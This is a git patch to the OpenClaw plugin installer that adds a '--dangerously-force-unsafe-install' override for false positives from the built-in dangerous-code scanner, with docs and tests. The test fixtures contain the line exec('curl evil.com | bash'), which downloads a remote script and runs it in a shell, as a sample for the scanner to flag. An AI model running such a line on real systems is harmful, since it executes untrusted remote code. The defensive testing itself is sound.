From 44b993613601280d46a5b88190e46669fc13d669 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Tue, 31 Mar 2026 23:16:01 +0900 Subject: [PATCH] feat(plugins): add dangerous unsafe install override --- CHANGELOG.md | 1 + docs/cli/plugins.md | 7 ++ docs/gateway/security/index.md | 2 + docs/tools/plugin.md | 6 + src/cli/plugins-cli.install.test.ts | 63 ++++++++++ src/cli/plugins-cli.ts | 21 +++- src/cli/plugins-install-command.ts | 12 +- src/plugins/clawhub.test.ts | 14 +++ src/plugins/clawhub.ts | 2 + src/plugins/install-security-scan.runtime.ts | 41 +++++++ src/plugins/install-security-scan.ts | 3 + src/plugins/install.test.ts | 117 ++++++++++++++++++- src/plugins/install.ts | 15 ++- src/plugins/marketplace.test.ts | 38 ++++++ src/plugins/marketplace.ts | 2 + 15 files changed, 337 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 84548459b63..05f050bfa45 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,7 @@ Docs: https://docs.openclaw.ai - MCP: add remote HTTP/SSE server support for `mcp.servers` URL configs, including auth headers and safer config redaction for MCP credentials. (#50396) Thanks @dhananjai1729. - Agents/MCP: materialize bundle MCP tools with provider-safe names (`serverName__toolName`), support optional `streamable-http` transport selection plus per-server connection timeouts, and preserve real tool results from aborted/error turns unless truncation explicitly drops them. (#49505) Thanks @ziomancer. - Plugins/hooks: add a `before_install` hook with structured request provenance, built-in scan status, and install-target metadata so external security scanners and policy engines can review and block skill, plugin package, plugin bundle, and single-file plugin installs. (#56050) thanks @odysseus0. +- Plugins/install: add `--dangerously-force-unsafe-install` as a break-glass override for built-in dangerous-code install false positives while still keeping plugin `before_install` policy blocks and scan-failure blocking intact. - ACP/plugins: add an explicit default-off ACPX plugin-tools MCP bridge config, document the trust boundary, and harden the built-in bridge packaging/logging path so global installs and stdio MCP sessions work reliably. (#56867) Thanks @joe2643. - Agents/LLM: add a configurable idle-stream timeout for embedded runner requests so stalled model streams abort cleanly instead of hanging until the broader run timeout fires. (#55072) Thanks @liuy. - OpenAI/Responses: forward configured `text.verbosity` across Responses HTTP and WebSocket transports, surface it in `/status`, and keep per-agent verbosity precedence aligned with runtime behavior. (#47106) Thanks @merc1305 and @vincentkoc. diff --git a/docs/cli/plugins.md b/docs/cli/plugins.md index be29f45d025..2da70c00e2b 100644 --- a/docs/cli/plugins.md +++ b/docs/cli/plugins.md @@ -49,6 +49,7 @@ capabilities. openclaw plugins install # ClawHub first, then npm openclaw plugins install clawhub: # ClawHub only openclaw plugins install --pin # pin version +openclaw plugins install --dangerously-force-unsafe-install openclaw plugins install # local path openclaw plugins install @ # marketplace openclaw plugins install --marketplace # marketplace (explicit) @@ -57,6 +58,12 @@ openclaw plugins install --marketplace # marketplace (explicit) Bare package names are checked against ClawHub first, then npm. Security note: treat plugin installs like running code. Prefer pinned versions. +`--dangerously-force-unsafe-install` is a break-glass option for false positives +in the built-in dangerous-code scanner. It allows the install to continue even +when the built-in scanner reports `critical` findings, but it does **not** +bypass plugin `before_install` hook policy blocks and does **not** bypass scan +failures. + `plugins install` is also the install surface for hook packs that expose `openclaw.hooks` in `package.json`. Use `openclaw hooks` for filtered hook visibility and per-hook enablement, not package installation. diff --git a/docs/gateway/security/index.md b/docs/gateway/security/index.md index 55b23de1ab9..b2de68c1dd3 100644 --- a/docs/gateway/security/index.md +++ b/docs/gateway/security/index.md @@ -447,8 +447,10 @@ Plugins run **in-process** with the Gateway. Treat them as trusted code: - Restart the Gateway after plugin changes. - If you install plugins (`openclaw plugins install `), treat it like running untrusted code: - The install path is the per-plugin directory under the active plugin install root. + - OpenClaw runs a built-in dangerous-code scan before install. `critical` findings block by default. - OpenClaw uses `npm pack` and then runs `npm install --omit=dev` in that directory (npm lifecycle scripts can execute code during install). - Prefer pinned, exact versions (`@scope/pkg@1.2.3`), and inspect the unpacked code on disk before enabling. + - `--dangerously-force-unsafe-install` is break-glass only for built-in scan false positives. It does not bypass plugin `before_install` hook policy blocks and does not bypass scan failures. Details: [Plugins](/tools/plugin) diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index e7ea68c0714..1c99e3e6957 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -211,6 +211,7 @@ openclaw plugins install # install (ClawHub first, then npm) openclaw plugins install clawhub: # install from ClawHub only openclaw plugins install # install from local path openclaw plugins install -l # link (no copy) for dev +openclaw plugins install --dangerously-force-unsafe-install openclaw plugins update # update one plugin openclaw plugins update --all # update all @@ -218,6 +219,11 @@ openclaw plugins enable openclaw plugins disable ``` +`--dangerously-force-unsafe-install` is a break-glass override for false +positives from the built-in dangerous-code scanner. It allows installs to +continue past built-in `critical` findings, but it still does not bypass plugin +`before_install` policy blocks or scan-failure blocking. + See [`openclaw plugins` CLI reference](/cli/plugins) for full details. ## Plugin API overview diff --git a/src/cli/plugins-cli.install.test.ts b/src/cli/plugins-cli.install.test.ts index 1be254e0b78..0324203a4bd 100644 --- a/src/cli/plugins-cli.install.test.ts +++ b/src/cli/plugins-cli.install.test.ts @@ -353,6 +353,69 @@ describe("plugins cli install", () => { ); }); + it("passes dangerous force unsafe install to marketplace installs", async () => { + await expect( + runPluginsCommand([ + "plugins", + "install", + "alpha", + "--marketplace", + "local/repo", + "--dangerously-force-unsafe-install", + ]), + ).rejects.toThrow("__exit__:1"); + + expect(installPluginFromMarketplace).toHaveBeenCalledWith( + expect.objectContaining({ + marketplace: "local/repo", + plugin: "alpha", + dangerouslyForceUnsafeInstall: true, + }), + ); + }); + + it("passes dangerous force unsafe install to npm installs", async () => { + const cfg = { + plugins: { + entries: {}, + }, + } as OpenClawConfig; + const enabledCfg = createEnabledPluginConfig("demo"); + + loadConfig.mockReturnValue(cfg); + installPluginFromClawHub.mockResolvedValue({ + ok: false, + error: "ClawHub /api/v1/packages/demo failed (404): Package not found", + code: "package_not_found", + }); + installPluginFromNpmSpec.mockResolvedValue({ + ok: true, + pluginId: "demo", + targetDir: cliInstallPath("demo"), + version: "1.2.3", + npmResolution: { + packageName: "demo", + resolvedVersion: "1.2.3", + tarballUrl: "https://registry.npmjs.org/demo/-/demo-1.2.3.tgz", + }, + }); + enablePluginInConfig.mockReturnValue({ config: enabledCfg }); + recordPluginInstall.mockReturnValue(enabledCfg); + applyExclusiveSlotSelection.mockReturnValue({ + config: enabledCfg, + warnings: [], + }); + + await runPluginsCommand(["plugins", "install", "demo", "--dangerously-force-unsafe-install"]); + + expect(installPluginFromNpmSpec).toHaveBeenCalledWith( + expect.objectContaining({ + spec: "demo", + dangerouslyForceUnsafeInstall: true, + }), + ); + }); + it("does not fall back to npm when ClawHub rejects a real package", async () => { installPluginFromClawHub.mockResolvedValue({ ok: false, diff --git a/src/cli/plugins-cli.ts b/src/cli/plugins-cli.ts index c5fe067e8ff..42e7359ddc9 100644 --- a/src/cli/plugins-cli.ts +++ b/src/cli/plugins-cli.ts @@ -740,13 +740,28 @@ export function registerPluginsCli(program: Command) { ) .option("-l, --link", "Link a local path instead of copying", false) .option("--pin", "Record npm installs as exact resolved @", false) + .option( + "--dangerously-force-unsafe-install", + "Bypass built-in dangerous-code install blocking (plugin hooks may still block)", + false, + ) .option( "--marketplace ", "Install a Claude marketplace plugin from a local repo/path or git/GitHub source", ) - .action(async (raw: string, opts: { link?: boolean; pin?: boolean; marketplace?: string }) => { - await runPluginInstallCommand({ raw, opts }); - }); + .action( + async ( + raw: string, + opts: { + dangerouslyForceUnsafeInstall?: boolean; + link?: boolean; + pin?: boolean; + marketplace?: string; + }, + ) => { + await runPluginInstallCommand({ raw, opts }); + }, + ); plugins .command("update") diff --git a/src/cli/plugins-install-command.ts b/src/cli/plugins-install-command.ts index 5d4151c4eab..c893157d3cc 100644 --- a/src/cli/plugins-install-command.ts +++ b/src/cli/plugins-install-command.ts @@ -231,7 +231,12 @@ export async function loadConfigForInstall( export async function runPluginInstallCommand(params: { raw: string; - opts: { link?: boolean; pin?: boolean; marketplace?: string }; + opts: { + dangerouslyForceUnsafeInstall?: boolean; + link?: boolean; + pin?: boolean; + marketplace?: string; + }; }) { const shorthand = !params.opts.marketplace ? await resolveMarketplaceInstallShortcut(params.raw) @@ -276,6 +281,7 @@ export async function runPluginInstallCommand(params: { if (opts.marketplace) { const result = await installPluginFromMarketplace({ + dangerouslyForceUnsafeInstall: opts.dangerouslyForceUnsafeInstall, marketplace: opts.marketplace, plugin: raw, logger: createPluginInstallLogger(), @@ -347,6 +353,7 @@ export async function runPluginInstallCommand(params: { } const result = await installPluginFromPath({ + dangerouslyForceUnsafeInstall: opts.dangerouslyForceUnsafeInstall, path: resolved, logger: createPluginInstallLogger(), }); @@ -417,6 +424,7 @@ export async function runPluginInstallCommand(params: { const clawhubSpec = parseClawHubPluginSpec(raw); if (clawhubSpec) { const result = await installPluginFromClawHub({ + dangerouslyForceUnsafeInstall: opts.dangerouslyForceUnsafeInstall, spec: raw, logger: createPluginInstallLogger(), }); @@ -451,6 +459,7 @@ export async function runPluginInstallCommand(params: { const preferredClawHubSpec = buildPreferredClawHubSpec(raw); if (preferredClawHubSpec) { const clawhubResult = await installPluginFromClawHub({ + dangerouslyForceUnsafeInstall: opts.dangerouslyForceUnsafeInstall, spec: preferredClawHubSpec, logger: createPluginInstallLogger(), }); @@ -484,6 +493,7 @@ export async function runPluginInstallCommand(params: { } const result = await installPluginFromNpmSpec({ + dangerouslyForceUnsafeInstall: opts.dangerouslyForceUnsafeInstall, spec: raw, logger: createPluginInstallLogger(), }); diff --git a/src/plugins/clawhub.test.ts b/src/plugins/clawhub.test.ts index 97fd4d904c0..6139e56fe64 100644 --- a/src/plugins/clawhub.test.ts +++ b/src/plugins/clawhub.test.ts @@ -178,6 +178,20 @@ describe("installPluginFromClawHub", () => { expect(archiveCleanupMock).toHaveBeenCalledTimes(1); }); + it("passes dangerous force unsafe install through to archive installs", async () => { + await installPluginFromClawHub({ + spec: "clawhub:demo", + dangerouslyForceUnsafeInstall: true, + }); + + expect(installPluginFromArchiveMock).toHaveBeenCalledWith( + expect.objectContaining({ + archivePath: "/tmp/clawhub-demo/archive.zip", + dangerouslyForceUnsafeInstall: true, + }), + ); + }); + it("cleans up the downloaded archive even when archive install fails", async () => { installPluginFromArchiveMock.mockResolvedValueOnce({ ok: false, diff --git a/src/plugins/clawhub.ts b/src/plugins/clawhub.ts index 0b6a1a73cb3..8e8df055fdb 100644 --- a/src/plugins/clawhub.ts +++ b/src/plugins/clawhub.ts @@ -224,6 +224,7 @@ function logClawHubPackageSummary(params: { } export async function installPluginFromClawHub(params: { + dangerouslyForceUnsafeInstall?: boolean; spec: string; baseUrl?: string; token?: string; @@ -305,6 +306,7 @@ export async function installPluginFromClawHub(params: { ); const installResult = await installPluginFromArchive({ archivePath: archive.archivePath, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, logger: params.logger, mode: params.mode, dryRun: params.dryRun, diff --git a/src/plugins/install-security-scan.runtime.ts b/src/plugins/install-security-scan.runtime.ts index d45d3acf999..73f549bdabc 100644 --- a/src/plugins/install-security-scan.runtime.ts +++ b/src/plugins/install-security-scan.runtime.ts @@ -121,6 +121,7 @@ async function scanDirectoryTarget(params: { function buildBlockedScanResult(params: { builtinScan: BuiltinInstallScan; + dangerouslyForceUnsafeInstall?: boolean; targetLabel: string; }): InstallSecurityScanResult | undefined { if (params.builtinScan.status === "error") { @@ -135,6 +136,9 @@ function buildBlockedScanResult(params: { }; } if (params.builtinScan.critical > 0) { + if (params.dangerouslyForceUnsafeInstall) { + return undefined; + } return { blocked: { code: "security_scan_blocked", @@ -148,6 +152,16 @@ function buildBlockedScanResult(params: { return undefined; } +function logDangerousForceUnsafeInstall(params: { + findings: Array<{ file: string; line: number; message: string; severity: string }>; + logger: InstallScanLogger; + targetLabel: string; +}) { + params.logger.warn?.( + `WARNING: ${params.targetLabel} forced despite dangerous code patterns via --dangerously-force-unsafe-install: ${buildCriticalDetails({ findings: params.findings })}`, + ); +} + async function scanFileTarget(params: { logger: InstallScanLogger; path: string; @@ -249,6 +263,7 @@ async function runBeforeInstallHook(params: { } export async function scanBundleInstallSourceRuntime(params: { + dangerouslyForceUnsafeInstall?: boolean; logger: InstallScanLogger; pluginId: string; sourceDir: string; @@ -266,8 +281,16 @@ export async function scanBundleInstallSourceRuntime(params: { }); const builtinBlocked = buildBlockedScanResult({ builtinScan, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, targetLabel: `Bundle "${params.pluginId}" installation`, }); + if (params.dangerouslyForceUnsafeInstall && builtinScan.critical > 0) { + logDangerousForceUnsafeInstall({ + findings: builtinScan.findings, + logger: params.logger, + targetLabel: `Bundle "${params.pluginId}" installation`, + }); + } const hookResult = await runBeforeInstallHook({ logger: params.logger, @@ -292,6 +315,7 @@ export async function scanBundleInstallSourceRuntime(params: { } export async function scanPackageInstallSourceRuntime(params: { + dangerouslyForceUnsafeInstall?: boolean; extensions: string[]; logger: InstallScanLogger; packageDir: string; @@ -330,8 +354,16 @@ export async function scanPackageInstallSourceRuntime(params: { }); const builtinBlocked = buildBlockedScanResult({ builtinScan, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, targetLabel: `Plugin "${params.pluginId}" installation`, }); + if (params.dangerouslyForceUnsafeInstall && builtinScan.critical > 0) { + logDangerousForceUnsafeInstall({ + findings: builtinScan.findings, + logger: params.logger, + targetLabel: `Plugin "${params.pluginId}" installation`, + }); + } const hookResult = await runBeforeInstallHook({ logger: params.logger, @@ -358,6 +390,7 @@ export async function scanPackageInstallSourceRuntime(params: { } export async function scanFileInstallSourceRuntime(params: { + dangerouslyForceUnsafeInstall?: boolean; filePath: string; logger: InstallScanLogger; mode?: "install" | "update"; @@ -373,8 +406,16 @@ export async function scanFileInstallSourceRuntime(params: { }); const builtinBlocked = buildBlockedScanResult({ builtinScan, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, targetLabel: `Plugin file "${params.pluginId}" installation`, }); + if (params.dangerouslyForceUnsafeInstall && builtinScan.critical > 0) { + logDangerousForceUnsafeInstall({ + findings: builtinScan.findings, + logger: params.logger, + targetLabel: `Plugin file "${params.pluginId}" installation`, + }); + } const hookResult = await runBeforeInstallHook({ logger: params.logger, diff --git a/src/plugins/install-security-scan.ts b/src/plugins/install-security-scan.ts index dc592961874..c9d5b84048c 100644 --- a/src/plugins/install-security-scan.ts +++ b/src/plugins/install-security-scan.ts @@ -20,6 +20,7 @@ async function loadInstallSecurityScanRuntime() { } export async function scanBundleInstallSource(params: { + dangerouslyForceUnsafeInstall?: boolean; logger: InstallScanLogger; pluginId: string; sourceDir: string; @@ -33,6 +34,7 @@ export async function scanBundleInstallSource(params: { } export async function scanPackageInstallSource(params: { + dangerouslyForceUnsafeInstall?: boolean; extensions: string[]; logger: InstallScanLogger; packageDir: string; @@ -49,6 +51,7 @@ export async function scanPackageInstallSource(params: { } export async function scanFileInstallSource(params: { + dangerouslyForceUnsafeInstall?: boolean; filePath: string; logger: InstallScanLogger; mode?: "install" | "update"; diff --git a/src/plugins/install.test.ts b/src/plugins/install.test.ts index 32685e9f5de..3de9602ef8c 100644 --- a/src/plugins/install.test.ts +++ b/src/plugins/install.test.ts @@ -238,9 +238,14 @@ function setupInstallPluginFromDirFixture(params?: { devDependencies?: Record { expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true); }); + it("allows package installs with dangerous code patterns when forced unsafe install is set", async () => { + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); + + fs.writeFileSync( + path.join(pluginDir, "package.json"), + JSON.stringify({ + name: "dangerous-plugin", + version: "1.0.0", + openclaw: { extensions: ["index.js"] }, + }), + ); + fs.writeFileSync( + path.join(pluginDir, "index.js"), + `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, + ); + + const { result, warnings } = await installFromDirWithWarnings({ + pluginDir, + extensionsDir, + dangerouslyForceUnsafeInstall: true, + }); + + expect(result.ok).toBe(true); + expect( + warnings.some((warning) => + warning.includes( + "forced despite dangerous code patterns via --dangerously-force-unsafe-install", + ), + ), + ).toBe(true); + }); + it("blocks bundle installs when bundle contains dangerous code patterns", async () => { const { pluginDir, extensionsDir } = setupBundleInstallFixture({ bundleFormat: "codex", @@ -911,6 +953,53 @@ describe("installPluginFromArchive", () => { ).toBe(true); }); + it("keeps before_install hook blocks even when dangerous force unsafe install is set", async () => { + const handler = vi.fn().mockReturnValue({ + block: true, + blockReason: "Blocked by enterprise policy", + }); + initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); + + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); + + fs.writeFileSync( + path.join(pluginDir, "package.json"), + JSON.stringify({ + name: "dangerous-forced-but-blocked-plugin", + version: "1.0.0", + openclaw: { extensions: ["index.js"] }, + }), + ); + fs.writeFileSync( + path.join(pluginDir, "index.js"), + `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, + ); + + const { result, warnings } = await installFromDirWithWarnings({ + pluginDir, + extensionsDir, + dangerouslyForceUnsafeInstall: true, + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toBe("Blocked by enterprise policy"); + expect(result.code).toBeUndefined(); + } + expect( + warnings.some((warning) => + warning.includes( + "forced despite dangerous code patterns via --dangerously-force-unsafe-install", + ), + ), + ).toBe(true); + expect( + warnings.some((warning) => + warning.includes("blocked by plugin hook: Blocked by enterprise policy"), + ), + ).toBe(true); + }); + it("scans extension entry files in hidden directories", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); @@ -1312,6 +1401,30 @@ describe("installPluginFromPath", () => { expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true); }); + it("allows plain file installs with dangerous code patterns when forced unsafe install is set", async () => { + const baseDir = makeTempDir(); + const extensionsDir = path.join(baseDir, "extensions"); + fs.mkdirSync(extensionsDir, { recursive: true }); + + const sourcePath = path.join(baseDir, "payload.js"); + fs.writeFileSync(sourcePath, "eval('danger');\n", "utf-8"); + + const { result, warnings } = await installFromFileWithWarnings({ + filePath: sourcePath, + extensionsDir, + dangerouslyForceUnsafeInstall: true, + }); + + expect(result.ok).toBe(true); + expect( + warnings.some((warning) => + warning.includes( + "forced despite dangerous code patterns via --dangerously-force-unsafe-install", + ), + ), + ).toBe(true); + }); + it("blocks hardlink alias overwrites when installing a plain file plugin", async () => { const baseDir = makeTempDir(); const extensionsDir = path.join(baseDir, "extensions"); diff --git a/src/plugins/install.ts b/src/plugins/install.ts index 69c30dc5a8d..e57580f2195 100644 --- a/src/plugins/install.ts +++ b/src/plugins/install.ts @@ -231,6 +231,7 @@ function buildBlockedInstallResult(params: { } type PackageInstallCommonParams = { + dangerouslyForceUnsafeInstall?: boolean; extensionsDir?: string; timeoutMs?: number; logger?: PluginInstallLogger; @@ -242,13 +243,19 @@ type PackageInstallCommonParams = { type FileInstallCommonParams = Pick< PackageInstallCommonParams, - "extensionsDir" | "logger" | "mode" | "dryRun" | "installPolicyRequest" + | "dangerouslyForceUnsafeInstall" + | "extensionsDir" + | "logger" + | "mode" + | "dryRun" + | "installPolicyRequest" >; function pickPackageInstallCommonParams( params: PackageInstallCommonParams, ): PackageInstallCommonParams { return { + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, extensionsDir: params.extensionsDir, timeoutMs: params.timeoutMs, logger: params.logger, @@ -261,6 +268,7 @@ function pickPackageInstallCommonParams( function pickFileInstallCommonParams(params: FileInstallCommonParams): FileInstallCommonParams { return { + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, extensionsDir: params.extensionsDir, logger: params.logger, mode: params.mode, @@ -403,6 +411,7 @@ async function installBundleFromSourceDir( try { const scanResult = await runtime.scanBundleInstallSource({ + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, sourceDir: params.sourceDir, pluginId, logger, @@ -581,6 +590,7 @@ async function installPluginFromPackageDir( } try { const scanResult = await runtime.scanPackageInstallSource({ + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, packageDir: params.packageDir, pluginId, logger, @@ -705,6 +715,7 @@ export async function installPluginFromDir( export async function installPluginFromFile(params: { filePath: string; + dangerouslyForceUnsafeInstall?: boolean; extensionsDir?: string; logger?: PluginInstallLogger; mode?: "install" | "update"; @@ -751,6 +762,7 @@ export async function installPluginFromFile(params: { try { const scanResult = await runtime.scanFileInstallSource({ + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, filePath, logger, mode, @@ -783,6 +795,7 @@ export async function installPluginFromFile(params: { } export async function installPluginFromNpmSpec(params: { + dangerouslyForceUnsafeInstall?: boolean; spec: string; extensionsDir?: string; timeoutMs?: number; diff --git a/src/plugins/marketplace.test.ts b/src/plugins/marketplace.test.ts index ee98ca0f5c1..c3095f4c13d 100644 --- a/src/plugins/marketplace.test.ts +++ b/src/plugins/marketplace.test.ts @@ -245,6 +245,44 @@ describe("marketplace plugins", () => { }); }); + it("passes dangerous force unsafe install through to marketplace path installs", async () => { + await withTempDir(async (rootDir) => { + const pluginDir = path.join(rootDir, "plugins", "frontend-design"); + const manifestPath = await writeLocalMarketplaceFixture({ + rootDir, + pluginDir, + manifest: { + plugins: [ + { + name: "frontend-design", + source: "./plugins/frontend-design", + }, + ], + }, + }); + installPluginFromPathMock.mockResolvedValue({ + ok: true, + pluginId: "frontend-design", + targetDir: "/tmp/frontend-design", + version: "0.1.0", + extensions: ["index.ts"], + }); + + await installPluginFromMarketplace({ + marketplace: manifestPath, + plugin: "frontend-design", + dangerouslyForceUnsafeInstall: true, + }); + + expect(installPluginFromPathMock).toHaveBeenCalledWith( + expect.objectContaining({ + path: pluginDir, + dangerouslyForceUnsafeInstall: true, + }), + ); + }); + }); + it("resolves Claude-style plugin@marketplace shortcuts from known_marketplaces.json", async () => { await withTempDir(async (homeDir) => { const openClawHome = path.join(homeDir, "openclaw-home"); diff --git a/src/plugins/marketplace.ts b/src/plugins/marketplace.ts index 5e8556e35b4..52e0154cb24 100644 --- a/src/plugins/marketplace.ts +++ b/src/plugins/marketplace.ts @@ -1031,6 +1031,7 @@ export async function resolveMarketplaceInstallShortcut( } export async function installPluginFromMarketplace(params: { + dangerouslyForceUnsafeInstall?: boolean; marketplace: string; plugin: string; logger?: MarketplaceLogger; @@ -1075,6 +1076,7 @@ export async function installPluginFromMarketplace(params: { installCleanup = resolved.cleanup; const result = await installPluginFromPath({ + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, path: resolved.path, logger: params.logger, mode: params.mode,